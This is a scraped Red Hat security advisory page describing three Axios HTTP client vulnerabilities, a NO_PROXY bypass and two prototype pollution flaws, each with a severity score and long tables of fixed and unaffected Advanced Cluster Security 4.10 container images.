| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le | — |
Threats
Impact
Important
A flaw was found in Axios, a promise-based HTTP client. An attacker who can control the destination address of an Axios request can exploit this vulnerability. By using specific internal network addresses (within the 127.0.0.0/8 range, excluding 127.0.0.1), the attacker can completely bypass the NO_PROXY protection, potentially leading to unauthorized access or information disclosure within the network. This issue is an incomplete fix for a previous vulnerability.
7.2 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64 | — |
Vendor Fix
fix
|
Known not affected
43 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le | — |
Threats
Impact
Important
A flaw was found in Axios, a widely used HTTP client. This vulnerability, known as a Prototype Pollution "Gadget" attack, allows a remote attacker to subtly alter JSON API responses. By manipulating a specific function, an attacker can selectively modify data within these responses. This could lead to significant security breaches, including unauthorized privilege escalation, fraudulent balance manipulation, or bypassing critical authorization checks.
7.4 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
43 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Axios, a widely used HTTP client. This vulnerability, known as prototype pollution, allows an attacker to inject malicious properties into core JavaScript objects. When another component in the same application environment is compromised and pollutes the system's object prototype, Axios can unknowingly use these manipulated values in its outbound network requests. This could lead to the disclosure of sensitive information or the alteration of network communications, compromising data confidentiality and integrity.
7.4 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
43 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64 | — |
Workaround
|
|
